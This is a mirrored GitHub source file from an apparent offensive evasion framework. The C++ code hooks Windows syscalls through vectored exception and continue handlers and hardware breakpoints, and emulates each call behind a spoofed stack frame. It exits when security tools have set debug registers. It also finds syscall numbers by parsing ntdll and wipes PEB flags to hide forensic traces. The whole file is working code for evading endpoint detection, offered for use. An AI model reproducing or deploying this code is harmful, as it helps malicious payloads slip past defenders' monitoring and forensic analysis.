mirror of
https://github.com/thomasxm/BOAZ_beta
synced 2026-06-06 16:54:29 +00:00
94765033d7
New features: DefWindowProcA is used as stack function as it has a long winded stack frame. use VEH and VCH to set up a hardware breakpoint on the syscall opcode when the breakpoint is hit, we emulate the syscall using the context of the thread VEH is used to do nothing and detect the HW breakpoint set up by security solutions as an anti-emulation measure. VCH is used to set up a hardware breakpoint on the syscall and ret code. VEH and VCH are removed manually by clearing the CrossProcessFlag from PEB to avoid forensic traces.
581 lines
24 KiB
C++
581 lines
24 KiB
C++
#include <windows.h>
|
|
#include <iostream>
|
|
#include <psapi.h>
|
|
#include <winternl.h>
|
|
#include "HookModule.h"
|
|
|
|
|
|
DllInfo NtdllInfo;
|
|
PCONTEXT SavedContext;
|
|
PVOID h1, h2;
|
|
PVOID b2, s9;
|
|
ULONG_PTR SyscallEntryAddr;
|
|
BOOL ExtendedArgs = FALSE;
|
|
int IsSubRsp = 0;
|
|
int SyscallNo = 0;
|
|
int OPCODE_SYSCALL_OFF = 0;
|
|
int OPCODE_SYSCALL_RET_OFF = 0;
|
|
|
|
void dummyfunction() {
|
|
// TODO: add another dummy function that has a large stack size, and change dummy functions for each call.
|
|
MessageBoxA(NULL, "Hello, world!", "ANSI MessageBox", MB_OK | MB_ICONINFORMATION);
|
|
// DefWindowProcA(NULL, WM_CLOSE, 0, 0);
|
|
|
|
}
|
|
|
|
LPVOID ModifyHandlers(HANDLE hProcess, BOOL enable);
|
|
|
|
void InitialiseDllInfo(DllInfo* obj, const char* DllName) {
|
|
HMODULE hModuledll = GetModuleHandleA(DllName);
|
|
|
|
MODULEINFO ModuleInfo;
|
|
if (GetModuleInformation(GetCurrentProcess(), hModuledll, &ModuleInfo, sizeof(MODULEINFO)) == 0) {
|
|
printf("[!] GetModuleInformation failed\n");
|
|
return;
|
|
}
|
|
|
|
obj->DllBaseAddress = (ULONG64)ModuleInfo.lpBaseOfDll;
|
|
obj->DllEndAddress = obj->DllBaseAddress + ModuleInfo.SizeOfImage;
|
|
}
|
|
|
|
LONG WINAPI AddHwBpVeh(
|
|
struct _EXCEPTION_POINTERS* ExceptionInfo
|
|
)
|
|
{
|
|
|
|
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
|
|
|
|
printf("\n[+] Inside VEH-1 Handler");
|
|
// print the rip:
|
|
printf("[+] Exception Address: %p\n", ExceptionInfo->ExceptionRecord->ExceptionAddress);
|
|
|
|
if ( ExceptionInfo->ContextRecord->Dr0 || ExceptionInfo->ContextRecord->Dr1 || ExceptionInfo->ContextRecord->Dr2 || ExceptionInfo->ContextRecord->Dr3 || ExceptionInfo->ContextRecord->Dr6 || ExceptionInfo->ContextRecord->Dr7) {
|
|
ExceptionInfo->ContextRecord = 0; // clear the context record
|
|
// exit the program:
|
|
ExitProcess(0);
|
|
} else {
|
|
|
|
printf("[+] Inside access violation, no debugger present. We may continue. \n");
|
|
}
|
|
|
|
// SyscallEntryAddr = ExceptionInfo->ContextRecord->Rcx;
|
|
|
|
// for (int i = 0; i < 25; i++) {
|
|
// // find syscall ret opcode offset
|
|
// if (*(BYTE*)(SyscallEntryAddr + i) == 0x0F && *(BYTE*)(SyscallEntryAddr + i + 1) == 0x05) {
|
|
// OPCODE_SYSCALL_OFF = i;
|
|
// OPCODE_SYSCALL_RET_OFF = i + 2;
|
|
// break;
|
|
// }
|
|
// }
|
|
|
|
// // Set hwbp at the syscall opcode
|
|
// ExceptionInfo->ContextRecord->Dr0 = (SyscallEntryAddr);
|
|
// ExceptionInfo->ContextRecord->Dr7 = ExceptionInfo->ContextRecord->Dr7 | (1 << 0);
|
|
|
|
// // Set hwbp at the ret opcode
|
|
// ExceptionInfo->ContextRecord->Dr1 = (SyscallEntryAddr + OPCODE_SYSCALL_RET_OFF);
|
|
// ExceptionInfo->ContextRecord->Dr7 = ExceptionInfo->ContextRecord->Dr7 | (1 << 2);
|
|
|
|
// ExceptionInfo->ContextRecord->Rip += OPCODE_SZ_ACC_VIO;
|
|
// printf("\n[*] Hardware Breakpoint added at address: %#llx (syscall)\n", (ULONG_PTR)ExceptionInfo->ContextRecord->Dr0);
|
|
// printf("[*] Hardware Breakpoint added at address: %#llx (ret)\n", (ULONG_PTR)ExceptionInfo->ContextRecord->Dr1);
|
|
|
|
return EXCEPTION_CONTINUE_EXECUTION;
|
|
}
|
|
return EXCEPTION_CONTINUE_SEARCH;
|
|
}
|
|
|
|
LONG WINAPI AddHwBpVch(
|
|
struct _EXCEPTION_POINTERS* ExceptionInfo
|
|
)
|
|
{
|
|
|
|
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
|
|
|
|
|
|
printf("\n[+] Inside VCH-1 Handler");
|
|
|
|
SyscallEntryAddr = ExceptionInfo->ContextRecord->Rcx;
|
|
|
|
for (int i = 0; i < 25; i++) {
|
|
// find syscall ret opcode offset
|
|
if (*(BYTE*)(SyscallEntryAddr + i) == 0x0F && *(BYTE*)(SyscallEntryAddr + i + 1) == 0x05) {
|
|
OPCODE_SYSCALL_OFF = i;
|
|
OPCODE_SYSCALL_RET_OFF = i + 2;
|
|
break;
|
|
}
|
|
}
|
|
|
|
// Set hwbp at the syscall opcode
|
|
ExceptionInfo->ContextRecord->Dr0 = (SyscallEntryAddr);
|
|
ExceptionInfo->ContextRecord->Dr7 = ExceptionInfo->ContextRecord->Dr7 | (1 << 0);
|
|
|
|
// Set hwbp at the ret opcode
|
|
ExceptionInfo->ContextRecord->Dr1 = (SyscallEntryAddr + OPCODE_SYSCALL_RET_OFF);
|
|
ExceptionInfo->ContextRecord->Dr7 = ExceptionInfo->ContextRecord->Dr7 | (1 << 2);
|
|
|
|
ExceptionInfo->ContextRecord->Rip += OPCODE_SZ_ACC_VIO;
|
|
printf("\n[*] Hardware Breakpoint added at address: %#llx (syscall)\n", (ULONG_PTR)ExceptionInfo->ContextRecord->Dr0);
|
|
printf("[*] Hardware Breakpoint added at address: %#llx (ret)\n", (ULONG_PTR)ExceptionInfo->ContextRecord->Dr1);
|
|
|
|
return EXCEPTION_CONTINUE_EXECUTION;
|
|
}
|
|
return EXCEPTION_CONTINUE_SEARCH;
|
|
}
|
|
|
|
|
|
|
|
LONG WINAPI HandlerHwBpVeh(
|
|
struct _EXCEPTION_POINTERS* ExceptionInfo
|
|
)
|
|
{
|
|
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
|
|
|
|
// // handler for syscall hwbp
|
|
// if (ExceptionInfo->ExceptionRecord->ExceptionAddress == (PVOID)(SyscallEntryAddr)) {
|
|
// printf("[+] Inside VEH-2 Handler\n");
|
|
|
|
// printf("[*] Hardware Breakpoint hit at %#llx (syscall)\n", ExceptionInfo->ContextRecord->Rip);
|
|
// printf("[*] Storing Context\n");
|
|
|
|
// // Clear hwbp
|
|
// ExceptionInfo->ContextRecord->Dr0 = 0;
|
|
// ExceptionInfo->ContextRecord->Dr7 = ExceptionInfo->ContextRecord->Dr7 & ~(1 << 0);
|
|
|
|
|
|
// // save the registers and clear hwbp
|
|
// // memcpy_s(SavedContext, sizeof CONTEXT, ExceptionInfo->ContextRecord, sizeof CONTEXT);
|
|
// memcpy(SavedContext, ExceptionInfo->ContextRecord, sizeof(CONTEXT));
|
|
|
|
// // change RIP to printf()
|
|
// ExceptionInfo->ContextRecord->Rip = (ULONG_PTR)dummyfunction;
|
|
|
|
// // Set the Trace Flag
|
|
// ExceptionInfo->ContextRecord->EFlags |= TRACE_FLAG;
|
|
|
|
// return EXCEPTION_CONTINUE_EXECUTION;
|
|
// }
|
|
|
|
// // Handler for syscall ret opcode
|
|
// else if (ExceptionInfo->ExceptionRecord->ExceptionAddress == (PVOID)(SyscallEntryAddr + OPCODE_SYSCALL_RET_OFF)) {
|
|
// printf("[*] Hardware Breakpoint hit at %#llx (ret)\n", ExceptionInfo->ContextRecord->Rip);
|
|
// printf("[*] Restoring stack pointer\n\n");
|
|
|
|
// // Clear hwbp
|
|
// ExceptionInfo->ContextRecord->Dr1 = 0;
|
|
// ExceptionInfo->ContextRecord->Dr7 = ExceptionInfo->ContextRecord->Dr7 & ~(1 << 2);
|
|
|
|
// // change stack so that it can return back to our program
|
|
// ExceptionInfo->ContextRecord->Rsp = SavedContext->Rsp;
|
|
|
|
// return EXCEPTION_CONTINUE_EXECUTION;
|
|
// }
|
|
|
|
// // Handler for the Trace flag
|
|
// else if (ExceptionInfo->ContextRecord->Rip >= NtdllInfo.DllBaseAddress &&
|
|
// ExceptionInfo->ContextRecord->Rip <= NtdllInfo.DllEndAddress) {
|
|
|
|
// // Find sub rsp, x where x is greater than what you want
|
|
// if (IsSubRsp == 0) {
|
|
// for (int i = 0; i < 80; i++) {
|
|
// if (*(UINT16*)(ExceptionInfo->ContextRecord->Rip + i) == OPCODE_RET_CC) break;
|
|
|
|
// if ((*(UINT32*)(ExceptionInfo->ContextRecord->Rip + i) & 0xffffff) == OPCODE_SUB_RSP) {
|
|
// if ((*(UINT32*)(ExceptionInfo->ContextRecord->Rip + i) >> 24) >= 0x58) {
|
|
|
|
// // appropriate stack frame found
|
|
// IsSubRsp = 1;
|
|
// ExceptionInfo->ContextRecord->EFlags |= TRACE_FLAG;
|
|
// return EXCEPTION_CONTINUE_EXECUTION;
|
|
// }
|
|
// else break;
|
|
// }
|
|
// }
|
|
// }
|
|
|
|
// // wait for a call to take place
|
|
// if (IsSubRsp == 1) {
|
|
// // function frame does not contain call instruction
|
|
// if (*(UINT16*)ExceptionInfo->ContextRecord->Rip == OPCODE_RET_CC || *(BYTE*)ExceptionInfo->ContextRecord->Rip == OPCODE_RET)
|
|
// IsSubRsp = 0;
|
|
// // function proceds to perform a call operation
|
|
// else if (*(BYTE*)ExceptionInfo->ContextRecord->Rip == OPCODE_CALL) {
|
|
// IsSubRsp = 2;
|
|
// ExceptionInfo->ContextRecord->EFlags |= TRACE_FLAG;
|
|
// return EXCEPTION_CONTINUE_EXECUTION;
|
|
// }
|
|
// }
|
|
|
|
// // appropriate stack frame and function frame found
|
|
// if (IsSubRsp == 2) {
|
|
// IsSubRsp = 0;
|
|
// printf("[*] Inside ntdll after setting TF at %#llx (%#llx)\n", ExceptionInfo->ContextRecord->Rip, ExceptionInfo->ContextRecord->Rip - NtdllInfo.DllBaseAddress);
|
|
// printf("[*] Generating stack & changing RIP & invoking intended syscall (ssn: %#x)\n", SyscallNo);
|
|
|
|
// ULONG64 TempRsp = ExceptionInfo->ContextRecord->Rsp;
|
|
// memcpy(ExceptionInfo->ContextRecord, SavedContext, sizeof(CONTEXT));
|
|
|
|
// ExceptionInfo->ContextRecord->Rsp = TempRsp;
|
|
|
|
// // emulate syscall
|
|
// // mov r10, rcx
|
|
// ExceptionInfo->ContextRecord->R10 = ExceptionInfo->ContextRecord->Rcx;
|
|
// // mov rax, #ssn
|
|
// ExceptionInfo->ContextRecord->Rax = SyscallNo;
|
|
// // set RIP to syscall opcode
|
|
// ExceptionInfo->ContextRecord->Rip = SyscallEntryAddr + OPCODE_SYSCALL_OFF;
|
|
|
|
// // if >4 agrs
|
|
// if (ExtendedArgs) {
|
|
// *(ULONG64*)(ExceptionInfo->ContextRecord->Rsp + FIFTH_ARGUMENT) = *(ULONG64*)(SavedContext->Rsp + FIFTH_ARGUMENT);
|
|
// *(ULONG64*)(ExceptionInfo->ContextRecord->Rsp + SIXTH_ARGUMENT) = *(ULONG64*)(SavedContext->Rsp + SIXTH_ARGUMENT);
|
|
// *(ULONG64*)(ExceptionInfo->ContextRecord->Rsp + SEVENTH_ARGUMENT) = *(ULONG64*)(SavedContext->Rsp + SEVENTH_ARGUMENT);
|
|
// *(ULONG64*)(ExceptionInfo->ContextRecord->Rsp + EIGHTH_ARGUMENT) = *(ULONG64*)(SavedContext->Rsp + EIGHTH_ARGUMENT);
|
|
// *(ULONG64*)(ExceptionInfo->ContextRecord->Rsp + NINTH_ARGUMENT) = *(ULONG64*)(SavedContext->Rsp + NINTH_ARGUMENT);
|
|
// *(ULONG64*)(ExceptionInfo->ContextRecord->Rsp + TENTH_ARGUMENT) = *(ULONG64*)(SavedContext->Rsp + TENTH_ARGUMENT);
|
|
// *(ULONG64*)(ExceptionInfo->ContextRecord->Rsp + ELEVENTH_ARGUMENT) = *(ULONG64*)(SavedContext->Rsp + ELEVENTH_ARGUMENT);
|
|
// *(ULONG64*)(ExceptionInfo->ContextRecord->Rsp + TWELVETH_ARGUMENT) = *(ULONG64*)(SavedContext->Rsp + TWELVETH_ARGUMENT);
|
|
// }
|
|
|
|
|
|
// // Clear Trace Flag
|
|
// ExceptionInfo->ContextRecord->EFlags &= ~TRACE_FLAG;
|
|
|
|
// return EXCEPTION_CONTINUE_EXECUTION;
|
|
// }
|
|
// }
|
|
|
|
// continue tracing
|
|
ExceptionInfo->ContextRecord->EFlags |= TRACE_FLAG;
|
|
return EXCEPTION_CONTINUE_EXECUTION;
|
|
}
|
|
|
|
return EXCEPTION_CONTINUE_SEARCH;
|
|
}
|
|
|
|
|
|
|
|
LONG WINAPI HandlerHwBpVch(
|
|
struct _EXCEPTION_POINTERS* ExceptionInfo
|
|
)
|
|
{
|
|
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
|
|
// handler for syscall hwbp
|
|
if (ExceptionInfo->ExceptionRecord->ExceptionAddress == (PVOID)(SyscallEntryAddr)) {
|
|
|
|
printf("\n[+] Inside VCH-2 Handler");
|
|
printf("[*] Hardware Breakpoint hit at %#llx (syscall)\n", ExceptionInfo->ContextRecord->Rip);
|
|
printf("[*] Storing Context\n");
|
|
|
|
// Clear hwbp
|
|
ExceptionInfo->ContextRecord->Dr0 = 0;
|
|
ExceptionInfo->ContextRecord->Dr7 = ExceptionInfo->ContextRecord->Dr7 & ~(1 << 0);
|
|
|
|
|
|
// save the registers and clear hwbp
|
|
// memcpy_s(SavedContext, sizeof CONTEXT, ExceptionInfo->ContextRecord, sizeof CONTEXT);
|
|
memcpy(SavedContext, ExceptionInfo->ContextRecord, sizeof(CONTEXT));
|
|
|
|
// change RIP to printf()
|
|
ExceptionInfo->ContextRecord->Rip = (ULONG_PTR)dummyfunction;
|
|
|
|
// Set the Trace Flag
|
|
ExceptionInfo->ContextRecord->EFlags |= TRACE_FLAG;
|
|
|
|
return EXCEPTION_CONTINUE_EXECUTION;
|
|
}
|
|
|
|
// Handler for syscall ret opcode
|
|
else if (ExceptionInfo->ExceptionRecord->ExceptionAddress == (PVOID)(SyscallEntryAddr + OPCODE_SYSCALL_RET_OFF)) {
|
|
|
|
printf("\n[+] Inside VCH-2 Handler");
|
|
printf("[*] Hardware Breakpoint hit at %#llx (ret)\n", ExceptionInfo->ContextRecord->Rip);
|
|
printf("[*] Restoring stack pointer\n\n");
|
|
|
|
// Clear hwbp
|
|
ExceptionInfo->ContextRecord->Dr1 = 0;
|
|
ExceptionInfo->ContextRecord->Dr7 = ExceptionInfo->ContextRecord->Dr7 & ~(1 << 2);
|
|
|
|
// change stack so that it can return back to our program
|
|
ExceptionInfo->ContextRecord->Rsp = SavedContext->Rsp;
|
|
|
|
return EXCEPTION_CONTINUE_EXECUTION;
|
|
|
|
}
|
|
|
|
// Handler for the Trace flag
|
|
else if (ExceptionInfo->ContextRecord->Rip >= NtdllInfo.DllBaseAddress &&
|
|
ExceptionInfo->ContextRecord->Rip <= NtdllInfo.DllEndAddress) {
|
|
|
|
// Find sub rsp, x where x is greater than what you want
|
|
if (IsSubRsp == 0) {
|
|
for (int i = 0; i < 80; i++) {
|
|
if (*(UINT16*)(ExceptionInfo->ContextRecord->Rip + i) == OPCODE_RET_CC) break;
|
|
|
|
if ((*(UINT32*)(ExceptionInfo->ContextRecord->Rip + i) & 0xffffff) == OPCODE_SUB_RSP) {
|
|
if ((*(UINT32*)(ExceptionInfo->ContextRecord->Rip + i) >> 24) >= 0x58) {
|
|
|
|
// appropriate stack frame found
|
|
IsSubRsp = 1;
|
|
ExceptionInfo->ContextRecord->EFlags |= TRACE_FLAG;
|
|
return EXCEPTION_CONTINUE_EXECUTION;
|
|
}
|
|
else break;
|
|
}
|
|
}
|
|
}
|
|
|
|
// wait for a call to take place
|
|
if (IsSubRsp == 1) {
|
|
// function frame does not contain call instruction
|
|
if (*(UINT16*)ExceptionInfo->ContextRecord->Rip == OPCODE_RET_CC || *(BYTE*)ExceptionInfo->ContextRecord->Rip == OPCODE_RET)
|
|
IsSubRsp = 0;
|
|
// function proceds to perform a call operation
|
|
else if (*(BYTE*)ExceptionInfo->ContextRecord->Rip == OPCODE_CALL) {
|
|
IsSubRsp = 2;
|
|
ExceptionInfo->ContextRecord->EFlags |= TRACE_FLAG;
|
|
return EXCEPTION_CONTINUE_EXECUTION;
|
|
}
|
|
}
|
|
|
|
// appropriate stack frame and function frame found
|
|
if (IsSubRsp == 2) {
|
|
IsSubRsp = 0;
|
|
printf("[*] Inside ntdll after setting TF at %#llx (%#llx)\n", ExceptionInfo->ContextRecord->Rip, ExceptionInfo->ContextRecord->Rip - NtdllInfo.DllBaseAddress);
|
|
printf("[*] Generating stack & changing RIP & invoking intended syscall (ssn: %#x)\n", SyscallNo);
|
|
|
|
ULONG64 TempRsp = ExceptionInfo->ContextRecord->Rsp;
|
|
memcpy(ExceptionInfo->ContextRecord, SavedContext, sizeof(CONTEXT));
|
|
|
|
ExceptionInfo->ContextRecord->Rsp = TempRsp;
|
|
|
|
// emulate syscall
|
|
// mov r10, rcx
|
|
ExceptionInfo->ContextRecord->R10 = ExceptionInfo->ContextRecord->Rcx;
|
|
// mov rax, #ssn
|
|
ExceptionInfo->ContextRecord->Rax = SyscallNo;
|
|
// set RIP to syscall opcode
|
|
ExceptionInfo->ContextRecord->Rip = SyscallEntryAddr + OPCODE_SYSCALL_OFF;
|
|
|
|
// if >4 agrs
|
|
if (ExtendedArgs) {
|
|
*(ULONG64*)(ExceptionInfo->ContextRecord->Rsp + FIFTH_ARGUMENT) = *(ULONG64*)(SavedContext->Rsp + FIFTH_ARGUMENT);
|
|
*(ULONG64*)(ExceptionInfo->ContextRecord->Rsp + SIXTH_ARGUMENT) = *(ULONG64*)(SavedContext->Rsp + SIXTH_ARGUMENT);
|
|
*(ULONG64*)(ExceptionInfo->ContextRecord->Rsp + SEVENTH_ARGUMENT) = *(ULONG64*)(SavedContext->Rsp + SEVENTH_ARGUMENT);
|
|
*(ULONG64*)(ExceptionInfo->ContextRecord->Rsp + EIGHTH_ARGUMENT) = *(ULONG64*)(SavedContext->Rsp + EIGHTH_ARGUMENT);
|
|
*(ULONG64*)(ExceptionInfo->ContextRecord->Rsp + NINTH_ARGUMENT) = *(ULONG64*)(SavedContext->Rsp + NINTH_ARGUMENT);
|
|
*(ULONG64*)(ExceptionInfo->ContextRecord->Rsp + TENTH_ARGUMENT) = *(ULONG64*)(SavedContext->Rsp + TENTH_ARGUMENT);
|
|
*(ULONG64*)(ExceptionInfo->ContextRecord->Rsp + ELEVENTH_ARGUMENT) = *(ULONG64*)(SavedContext->Rsp + ELEVENTH_ARGUMENT);
|
|
*(ULONG64*)(ExceptionInfo->ContextRecord->Rsp + TWELVETH_ARGUMENT) = *(ULONG64*)(SavedContext->Rsp + TWELVETH_ARGUMENT);
|
|
}
|
|
|
|
|
|
// Clear Trace Flag
|
|
ExceptionInfo->ContextRecord->EFlags &= ~TRACE_FLAG;
|
|
|
|
return EXCEPTION_CONTINUE_EXECUTION;
|
|
}
|
|
}
|
|
|
|
// continue tracing
|
|
ExceptionInfo->ContextRecord->EFlags |= TRACE_FLAG;
|
|
return EXCEPTION_CONTINUE_EXECUTION;
|
|
}
|
|
|
|
return EXCEPTION_CONTINUE_SEARCH;
|
|
}
|
|
|
|
|
|
// TODO: Add a VCH instead of VEH to avoid detection.
|
|
|
|
|
|
void IntialiseHooks() {
|
|
h1 = AddVectoredExceptionHandler(CALL_FIRST, AddHwBpVeh);
|
|
b2 = AddVectoredContinueHandler(CALL_FIRST, AddHwBpVch);
|
|
h2 = AddVectoredExceptionHandler(CALL_FIRST, HandlerHwBpVeh);
|
|
s9 = AddVectoredExceptionHandler(CALL_FIRST, HandlerHwBpVch);
|
|
// TODO: add VCH
|
|
SavedContext = (PCONTEXT)(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(CONTEXT)));
|
|
InitialiseDllInfo(&NtdllInfo, "ntdll.dll");
|
|
|
|
printf("[*] Ntdll Start Address: %#llx\n", NtdllInfo.DllBaseAddress);
|
|
printf("[*] Ntdll End Address: %#llx\n\n", NtdllInfo.DllEndAddress);
|
|
}
|
|
|
|
void DestroyHooks() {
|
|
|
|
if (h1 != NULL) RemoveVectoredExceptionHandler(h1);
|
|
if (h2 != NULL) RemoveVectoredExceptionHandler(h2);
|
|
if (b2 != NULL) RemoveVectoredContinueHandler(b2);
|
|
if (s9 != NULL) RemoveVectoredExceptionHandler(s9);
|
|
|
|
// TODO: manually remove VEH and VCH from CrossProcessFlag to avoid forensic traces.
|
|
LPVOID imageBaseAddress = ModifyHandlers(GetCurrentProcess(), FALSE);
|
|
if (imageBaseAddress == NULL) {
|
|
printf("[-] Failed to disable VEH and VCH in desginated process\n");
|
|
} else {
|
|
printf("[+] Succseefully disable VEH and VCH in desginated process\n");
|
|
getchar();
|
|
}
|
|
|
|
}
|
|
|
|
// TODO: use page guard to trigger exception, it is safer.
|
|
void _SetHwBp(ULONG_PTR FuncAddress) {
|
|
TRIGGER_ACCESS_VIOLOATION_EXCEPTION
|
|
}
|
|
|
|
void SetHwBp(ULONG_PTR FuncAddress, int flag, int ssn) {
|
|
ExtendedArgs = flag;
|
|
SyscallNo = ssn;
|
|
_SetHwBp(FuncAddress);
|
|
}
|
|
|
|
|
|
int GetSsnByName(PCHAR syscall) {
|
|
auto Ldr = (PPEB_LDR_DATA)NtCurrentTeb()->ProcessEnvironmentBlock->Ldr;
|
|
auto Head = (PLIST_ENTRY)&Ldr->Reserved2[1];
|
|
auto Next = Head->Flink;
|
|
|
|
while (Next != Head) {
|
|
auto ent = CONTAINING_RECORD(Next, LDR_DATA_TABLE_ENTRY, Reserved1[0]);
|
|
Next = Next->Flink;
|
|
auto m = (PBYTE)ent->DllBase;
|
|
auto nt = (PIMAGE_NT_HEADERS)(m + ((PIMAGE_DOS_HEADER)m)->e_lfanew);
|
|
auto rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
|
if (!rva) continue; // no export table? skip
|
|
|
|
auto exp = (PIMAGE_EXPORT_DIRECTORY)(m + rva);
|
|
if (!exp->NumberOfNames) continue; // no symbols? skip
|
|
|
|
auto dll = (PDWORD)(m + exp->Name);
|
|
// // not ntdll.dll? skip
|
|
// if ((dll[0] | 0x20202020) != 'ldtn') continue;
|
|
// if ((dll[1] | 0x20202020) != 'ld.l') continue;
|
|
// if ((*(USHORT*)&dll[2] | 0x0020) != '\x00l') continue;
|
|
|
|
// Match first 4 bytes: 'n' 't' 'd' 'l' (in little endian -> 0x6C64746E)
|
|
if ((dll[0] | 0x20202020) != 0x6C64746E) continue;
|
|
// Match next 4 bytes: 'l' '.' 'd' 'l' => 0x6C642E6C
|
|
if ((dll[1] | 0x20202020) != 0x6C642E6C) continue;
|
|
// Match final 2 bytes: 'l' '\0' => 0x006C (little-endian)
|
|
if (((*(USHORT*)&dll[2]) | 0x0020) != 0x006C) continue;
|
|
|
|
// Load the Exception Directory.
|
|
rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;
|
|
if (!rva) return -1;
|
|
auto rtf = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(m + rva);
|
|
|
|
// Load the Export Address Table.
|
|
rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
|
auto adr = (PDWORD)(m + exp->AddressOfFunctions);
|
|
auto sym = (PDWORD)(m + exp->AddressOfNames);
|
|
auto ord = (PWORD)(m + exp->AddressOfNameOrdinals);
|
|
|
|
int ssn = 0;
|
|
|
|
// Search runtime function table.
|
|
for (int i = 0; rtf[i].BeginAddress; i++) {
|
|
// Search export address table.
|
|
for (int j = 0; j < exp->NumberOfFunctions; j++) {
|
|
// begin address rva?
|
|
if (adr[ord[j]] == rtf[i].BeginAddress) {
|
|
auto api = (PCHAR)(m + sym[j]);
|
|
auto s1 = api;
|
|
auto s2 = syscall;
|
|
|
|
// our system call? if true, return ssn
|
|
while (*s1 && (*s1 == *s2)) s1++, s2++;
|
|
int cmp = (int)*(PBYTE)s1 - *(PBYTE)s2;
|
|
if (!cmp) return ssn;
|
|
|
|
// if this is a syscall, increase the ssn value.
|
|
if (*(USHORT*)api == 0x775A) ssn++; // 'w' = 0x77, 'Z' = 0x5A
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return -1; // didn't find it.
|
|
}
|
|
|
|
|
|
//Enable the ProcessUsingVEH and VCH bit in the CrossProcessFlags member of the designated process PEB
|
|
//Returns the ImageBaseAddress if successful
|
|
LPVOID ModifyHandlers(HANDLE hProcess, BOOL enable) {
|
|
//Get the base address of the PEB in the designated process
|
|
PROCESS_BASIC_INFORMATION processInfo = { 0 };
|
|
DWORD returnLength = 0;
|
|
|
|
NtQueryInformationProcess_t MyNtQueryInformationProcess =
|
|
(NtQueryInformationProcess_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationProcess");
|
|
|
|
|
|
NTSTATUS status = MyNtQueryInformationProcess(hProcess, myProcessBasicInformation, &processInfo, sizeof(processInfo), &returnLength);
|
|
|
|
if(status != 0) {
|
|
printf("[-] Failed to get PEB address. Status: %lx\n", status);
|
|
|
|
} else {
|
|
printf("[+] Got PEB address\n");
|
|
}
|
|
|
|
//Read the PEB from the designated process
|
|
DWORD64 CrossProcessFlags = 0;
|
|
DWORD dwBytesRead;
|
|
PEB2 peb_copy;
|
|
BOOL k32Success;
|
|
k32Success = ReadProcessMemory(hProcess, processInfo.PebBaseAddress, &peb_copy, sizeof(PEB2), NULL);
|
|
if (!k32Success) {
|
|
printf("[-] Failed to read process PEB: %d\n", GetLastError());
|
|
}
|
|
|
|
//Enable VEH in our local copy and write it to the designated process
|
|
// peb_copy.u2.CrossProcessFlags = 0x4;
|
|
// peb_copy.u2.CrossProcessFlags = 0xc;
|
|
if (enable) {
|
|
// Enable the ProcessUsingVEH bit
|
|
peb_copy.u2.CrossProcessFlags |= 0xc;
|
|
} else {
|
|
// Disable the ProcessUsingVEH bit
|
|
peb_copy.u2.CrossProcessFlags &= ~0xc;
|
|
}
|
|
|
|
|
|
k32Success = WriteProcessMemory(hProcess, processInfo.PebBaseAddress, &peb_copy, sizeof(PEB2), NULL);
|
|
if (!k32Success) {
|
|
printf("[-] Failed to enable VEH in process PEB: %d\n", GetLastError());
|
|
return NULL;
|
|
}
|
|
|
|
// checks
|
|
dwBytesRead = 0;
|
|
k32Success = ReadProcessMemory(hProcess, processInfo.PebBaseAddress, &peb_copy, sizeof(PEB2), NULL);
|
|
if (!k32Success) {
|
|
printf("[-] Failed to reread process PEB: %d\n", GetLastError());
|
|
return NULL;
|
|
}
|
|
// Verify based on the action taken
|
|
if (enable && (peb_copy.u2.CrossProcessFlags & 0xc)) {
|
|
printf("[+] Enabled VEH and VCH by modify the CrossProcessFlags in the designated process!\n");
|
|
printf("[+] Designated Process ID: %d\n", GetProcessId(hProcess));
|
|
return peb_copy.ImageBaseAddress;
|
|
} else if (!enable && !(peb_copy.u2.CrossProcessFlags & 0xc)) {
|
|
printf("[+] Disabled VEH and VCH by modify the CrossProcessFlags in the designated process!\n");
|
|
printf("[+] Designated Process ID: %d\n", GetProcessId(hProcess));
|
|
return peb_copy.ImageBaseAddress;
|
|
} else {
|
|
printf("[-] Failed to modify VEH in the designated process\n");
|
|
}
|
|
// if (peb_copy.u2.CrossProcessFlags & 0x4) {
|
|
// if (peb_copy.u2.CrossProcessFlags & 0xc) {
|
|
// printf("[+] Enabled VEH in the designated process!\n");
|
|
// printf("[+] Designated Process ID: %d\n", GetProcessId(hProcess));
|
|
// return peb_copy.ImageBaseAddress;
|
|
// }
|
|
// else {
|
|
// printf("[-] Failed to enable VEH in the designated process\n");
|
|
// }
|
|
return NULL;
|
|
|
|
} |